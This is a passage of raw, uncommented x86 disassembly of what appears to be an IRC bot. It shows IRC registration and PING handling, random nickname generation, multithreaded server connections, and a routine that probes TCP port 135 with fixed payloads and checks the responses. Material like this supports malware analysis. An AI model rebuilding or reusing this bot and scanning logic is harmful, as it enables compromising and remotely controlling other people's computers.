ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_4178AC mov edi, dword_427154 loc_41780E: ; CODE XREF: sub_4177C3+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call near ptr 2800B91h nop test eax, eax jz short loc_41789A mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4178A0 test [ebp+var_13], 1 jnz short loc_4178A0 push ecx push 8 call edi push eax nop call near ptr 2800000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 2810000h nop test eax, eax jz short loc_41788C push offset dword_4D3830 push esi call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_41788C lea eax, [esi+400h] push offset dword_4D4030 push eax call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_4178BC loc_41788C: ; CODE XREF: sub_4177C3+9Fj ; sub_4177C3+B0j push esi push 0 call edi push eax call near ptr 27F0614h nop jmp short loc_4178A0 ; --------------------------------------------------------------------------- loc_41789A: ; CODE XREF: sub_4177C3+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4178A0: ; CODE XREF: sub_4177C3+71j ; sub_4177C3+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_41780E loc_4178AC: ; CODE XREF: sub_4177C3+3Fj push [ebp+arg_0] call near ptr 26808BBh nop loc_4178B5: ; CODE XREF: sub_4177C3+1Ej xor eax, eax loc_4178B7: ; CODE XREF: sub_4177C3+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4178BC: ; CODE XREF: sub_4177C3+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D4A4C, ebx mov dword_4D4A50, eax cmp [eax], cl jnz short loc_4178DE cmp [eax+1], cl jz short loc_4178E6 loc_4178DE: ; CODE XREF: sub_4177C3+114j ; sub_4177C3+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4178DE loc_4178E6: ; CODE XREF: sub_4177C3+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 26808BBh push 1 pop eax jmp short loc_4178B7 sub_4177C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4A48 push esi mov esi, dword_427154 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 2800000h mov ecx, dword_4D4A48 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4A50 push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4A54 push eax call dword_4D4834 push [ebp+var_4] mov edi, offset dword_4D4840 push offset dword_4D3830 push offset dword_4D4030 push [ebp+arg_0] push offset dword_4386C4 push 200h push edi call sub_41C360 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 27F0614h nop mov eax, edi pop edi pop esi leave retn sub_4178F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4A48 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 2800B0Ah push eax nop call near ptr 2800000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D4030 mov edi, 200h mov esi, offset dword_4D3630 loc_4179D6: ; CODE XREF: sub_417990+FAj mov eax, dword_4D4A48 add eax, eax push eax push dword_4D4A50 push [ebp+var_14] call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D4834 mov eax, dword_4D4A48 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417A4B loc_417A13: ; CODE XREF: sub_417990+B3j cmp [ebp+var_8], 0 jz short loc_417A68 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417A37 cmp byte ptr [ecx+1], 0 jnz short loc_417A37 cmp dl, 20h jnb short loc_417A31 and [ebp+var_8], 0 loc_417A31: ; CODE XREF: sub_417990+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417A3B loc_417A37: ; CODE XREF: sub_417990+90j ; sub_417990+96j and [ebp+var_8], 0 loc_417A3B: ; CODE XREF: sub_417990+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417A13 cmp [ebp+var_8], 0 jz short loc_417A68 loc_417A4B: ; CODE XREF: sub_417990+81j push [ebp+var_14] push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_4386C4 push edi push esi call sub_41C360 add esp, 1Ch jmp short loc_417A80 ; --------------------------------------------------------------------------- loc_417A68: ; CODE XREF: sub_417990+87j ; sub_417990+B9j push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_438714 push edi push esi call sub_41C360 add esp, 18h loc_417A80: ; CODE XREF: sub_417990+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4179D6 push [ebp+var_14] push 0 nop call near ptr 2800B0Ah push eax call near ptr 27F0614h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_417990 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417B25 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_417B0A push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_417B25 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417B0A: ; CODE XREF: sub_417AA9+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_417B29 push edi call dword_4CBA6C loc_417B25: ; CODE XREF: sub_417AA9+1Bj ; sub_417AA9+58j mov eax, esi jmp short loc_417B2B ; --------------------------------------------------------------------------- loc_417B29: ; CODE XREF: sub_417AA9+73j mov eax, edi loc_417B2B: ; CODE XREF: sub_417AA9+7Ej pop edi pop esi leave retn sub_417AA9 endp ; =============== S U B R O U T I N E ======================================= sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp ; sub_401ACD+32B6p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41C8A0 pop ecx mov esi, offset dword_4D4A5C pop ecx loc_417B47: ; CODE XREF: sub_417B2F+42j cmp dword ptr [esi-4], 1 jnz short loc_417B65 cmp dword ptr [esi], 0 jbe short loc_417B65 push 0 push edi call sub_41B9C0 pop ecx push eax push edi push dword ptr [esi] call dword_4CBA24 loc_417B65: ; CODE XREF: sub_417B2F+1Cj ; sub_417B2F+21j add esi, 210h cmp esi, offset dword_4DB17C jl short loc_417B47 pop edi pop esi retn sub_417B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B76 proc near ; CODE XREF: sub_417C61+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDC0 ; " " push edi push esi push [ebp+arg_0] call sub_41CAD4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B9B: ; CODE XREF: sub_417B76+35j push esi push 0 call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B9B mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417BC3 cmp esi, edi jnz short loc_417BC3 push 1 pop eax jmp loc_417C5C ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417B76+3Fj ; sub_417B76+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41CA50 pop ecx pop ecx test eax, eax push esi jnz short loc_417BDE push offset dword_43932C jmp short loc_417C2C ; --------------------------------------------------------------------------- loc_417BDE: ; CODE XREF: sub_417B76+5Fj push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417BFF push esi push offset dword_439328 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_417C5A loc_417BFF: ; CODE XREF: sub_417B76+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BF70 lea eax, [ebp+var_420] push eax call sub_417E84 add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_43931C loc_417C2C: ; CODE XREF: sub_417B76+66j lea eax, [ebp+var_220] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CBA24 loc_417C5A: ; CODE XREF: sub_417B76+87j xor eax, eax loc_417C5C: ; CODE XREF: sub_417B76+48j pop edi pop esi pop ebx leave retn sub_417B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C61 proc near ; DATA XREF: sub_417E06+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C500 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4A64[esi] mov dword_4D4A58[esi], edi push dword_4D4C64[esi] push eax call sub_417AA9 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D4A5C[esi], eax jb loc_417DE6 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BF70 lea eax, [ebp+var_2008] push eax call sub_417E84 lea eax, [ebp+var_4008] push eax call sub_417E84 lea eax, [ebp+var_3008] push eax call sub_417E84 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D4A5C[esi] call dword_4CBA24 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch loc_417D3D: ; CODE XREF: sub_417C61+111j ; sub_417C61+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D4A5C[esi] call dword_4CB9EC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417DE6 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417D3D loc_417D74: ; CODE XREF: sub_417C61+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D9B cmp al, 0Ah jz short loc_417D9B cmp [ebp+arg_0], 0FA0h jz short loc_417D9B mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417DD5 ; --------------------------------------------------------------------------- loc_417D9B: ; CODE XREF: sub_417C61+11Cj ; sub_417C61+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417DD5 push dword_4D4A5C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B76 pop ecx test eax, eax pop ecx ja short loc_417DE6 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+arg_0], ebx loc_417DD5: ; CODE XREF: sub_417C61+138j ; sub_417C61+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D74 jmp loc_417D3D ; --------------------------------------------------------------------------- loc_417DE6: ; CODE XREF: sub_417C61+40j ; sub_417C61+107j ... mov dword_4D4A58[esi], ebx mov esi, dword_4D4A5C[esi] cmp esi, ebx jbe short loc_417DFD push esi call dword_4CBA6C loc_417DFD: ; CODE XREF: sub_417C61+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E7F loc_417E18: ; CODE XREF: sub_417E06+77j xor edi, edi mov eax, offset dword_4D4A58 loc_417E1F: ; CODE XREF: sub_417E06+28j cmp [eax], ebx jz short loc_417E30 add eax, 210h inc edi cmp eax, offset dword_4DB178 jl short loc_417E1F loc_417E30: ; CODE XREF: sub_417E06+1Bj cmp edi, 31h jz short loc_417E7F mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4A64[esi] push eax call sub_41C890 mov eax, [ebp+arg_4] pop ecx mov dword_4D4C64[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4A58[esi], 1 push eax push ebx push edi push offset sub_417C61 push ebx push ebx call near ptr 26A06F9h nop inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417E18 loc_417E7F: ; CODE XREF: sub_417E06+10j ; sub_417E06+2Dj pop edi pop esi pop ebx leave retn sub_417E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp ; sub_401ACD+3747p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 add esp, 0Ch call sub_41C2C2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276D8 call sub_41D174 cmp eax, 1 jnz short loc_417ECE call sub_41C2C2 call sub_41C2C2 push 66h cdq pop ecx idiv ecx push off_438A68[edx*4] jmp short loc_417EE7 ; --------------------------------------------------------------------------- loc_417ECE: ; CODE XREF: sub_417E84+2Fj call sub_41C2C2 call sub_41C2C2 cdq mov ecx, 0C0h idiv ecx push off_438768[edx*4] loc_417EE7: ; CODE XREF: sub_417E84+48j lea eax, [ebp+var_2C] push eax call sub_41C890 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B9C0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41D174 mov ebx, eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F5A cmp esi, 3 jnz short loc_417F51 cmp ebx, 1 jz short loc_417F5A loc_417F51: ; CODE XREF: sub_417E84+C6j cmp eax, 1 jnz loc_418014 loc_417F5A: ; CODE XREF: sub_417E84+C1j ; sub_417E84+CBj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41D174 push off_438A68[eax*4] lea eax, [ebp+var_40] push eax call sub_41C890 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C990 add esp, 10h test eax, eax jnz short loc_418001 movsx eax, [ebp+var_40] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_418001 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_418001 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418001: ; CODE XREF: sub_417E84+111j ; sub_417E84+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41CBC0 add esp, 0Ch loc_418014: ; CODE XREF: sub_417E84+D0j lea eax, [ebp+var_2C] push eax call sub_41B9C0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DEE8 pop ecx test eax, eax pop ecx jnz loc_41827C and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz loc_418173 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp esi, 3 jz short loc_418082 cmp eax, 1 jnz loc_418173 loc_418082: ; CODE XREF: sub_417E84+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4180C4 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_4180C4: ; CODE XREF: sub_417E84+207j call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebx], cl loc_4180E0: ; CODE XREF: sub_417E84+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41D174 cmp esi, 3 jz short loc_418109 cmp eax, ebx jnz short loc_418173 loc_418109: ; CODE XREF: sub_417E84+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41814E push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41816C ; --------------------------------------------------------------------------- loc_41814E: ; CODE XREF: sub_417E84+28Fj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41816C: ; CODE XREF: sub_417E84+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418173: ; CODE XREF: sub_417E84+1C9j ; sub_417E84+1F8j ... cmp esi, 6 jge loc_4181FC cmp esi, 5 jge short loc_418194 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 jmp short loc_4181B2 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_417E84+2FBj call sub_41C2C2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 loc_4181B2: ; CODE XREF: sub_417E84+30Ej call sub_41D174 test eax, eax jnz short loc_4181D5 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h jmp short loc_4181F2 ; --------------------------------------------------------------------------- loc_4181D5: ; CODE XREF: sub_417E84+335j cmp eax, 1 jnz short loc_4181FC call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h loc_4181F2: ; CODE XREF: sub_417E84+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181FC: ; CODE XREF: sub_417E84+2F2j ; sub_417E84+354j cmp [ebp+var_C], 2 jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A0 call sub_41D174 cmp eax, 1 jnz short loc_41827C cmp [ebp+var_C], eax jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_427698 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41827C: ; CODE XREF: sub_417E84+1B1j ; sub_417E84+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BFD0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418295 proc near ; CODE XREF: sub_4182CD+125p ; sub_4182CD+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_4182C3 loc_4182A6: ; CODE XREF: sub_418295+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DF40 add esp, 0Ch test eax, eax jz short loc_4182C9 inc esi cmp esi, edi jl short loc_4182A6 loc_4182C3: ; CODE XREF: sub_418295+Fj xor al, al loc_4182C5: ; CODE XREF: sub_418295+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4182C9: ; CODE XREF: sub_418295+27j mov al, 1 jmp short loc_4182C5 sub_418295 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182CD proc near ; CODE XREF: ___:0040DFD7p ; ___:0040E0C0p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C500 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41830E dec eax jz short loc_4182EC dec eax loc_4182E6: ; CODE XREF: sub_4182CD+57j xor eax, eax loc_4182E8: ; CODE XREF: sub_4182CD+3Fj ; sub_4182CD+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4182EC: ; CODE XREF: sub_4182CD+16j push 3 push 1388h push [ebp+arg_0] call dword_4CBA14 push eax call sub_40C34B add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4182E8 ; --------------------------------------------------------------------------- loc_41830E: ; CODE XREF: sub_4182CD+13j push 6 push 1 push 2 call dword_4CBA54 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4182E6 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C cmp eax, edi jz loc_41842A push ebx push 48h push offset dword_439374 push esi call dword_4CBA24 cmp eax, edi jz loc_41842A mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC cmp eax, edi jz loc_41842A cmp [ebp+var_200E], 0Ch jnz short loc_41842A push ebx push 18h push offset dword_4393C0 push [ebp+arg_4] call dword_4CBA24 cmp eax, edi jz short loc_41842A push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC mov esi, eax cmp esi, edi jz short loc_41842A cmp [ebp+var_200E], 2 jnz short loc_41842A push 10h push offset loc_4393DC lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h test al, al jz short loc_41840A cmp esi, 12Ch setnl bl inc ebx jmp short loc_41842A ; --------------------------------------------------------------------------- loc_41840A: ; CODE XREF: sub_4182CD+12Fj push 10h push offset dword_4393F0 lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_41842A: ; CODE XREF: sub_4182CD+9Bj ; sub_4182CD+B2j ... push [ebp+arg_4] call dword_4CBA6C mov eax, ebx pop ebx jmp loc_4182E8 sub_4182CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p ; sub_401ACD+C0Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_4184C6 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_4184C6 cmp [ebp+arg_8], esi jz short loc_4184C6 cmp byte ptr [eax], 0 jz short loc_4184C6 push ebx push edi call sub_426465 mov ebx, eax pop ecx test ebx, ebx jz short loc_4184C1 push [ebp+arg_4] push edi call sub_41C2E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4184BA sub eax, edi push eax push edi push ebx call sub_41BFD0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B9C0 push eax push [ebp+arg_8] push ebx call sub_41CBC0 push [ebp+arg_4] call sub_41B9C0 add eax, esi push eax push ebx call sub_41C8A0 push ebx push edi call sub_41C890 add esp, 30h mov esi, edi loc_4184BA: ; CODE XREF: sub_41843B+3Cj push ebx call sub_41BA91 pop ecx loc_4184C1: ; CODE XREF: sub_41843B+2Bj mov eax, esi pop ebx jmp short loc_4184C8 ; --------------------------------------------------------------------------- loc_4184C6: ; CODE XREF: sub_41843B+Cj ; sub_41843B+13j ... xor eax, eax loc_4184C8: ; CODE XREF: sub_41843B+89j pop edi pop esi pop ebp retn sub_41843B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184CC proc near ; CODE XREF: sub_401955+E9p ; ___:00410CF1p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BF70 mov esi, [ebp+arg_0] push esi call sub_41B9C0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418502 or eax, 0FFFFFFFFh jmp short loc_418575 ; --------------------------------------------------------------------------- loc_418502: ; CODE XREF: sub_4184CC+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_418524 loc_41850E: ; CODE XREF: sub_4184CC+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41851B cmp dl, 0Dh jnz short loc_41851F loc_41851B: ; CODE XREF: sub_4184CC+48j and byte ptr [ecx+esi], 0 loc_41851F: ; CODE XREF: sub_4184CC+4Dj inc ecx cmp ecx, eax jl short loc_41850E loc_418524: ; CODE XREF: sub_4184CC+40j xor edx, edx push edi test eax, eax jle short loc_418555 lea edi, [ebp+var_7CC] loc_418531: ; 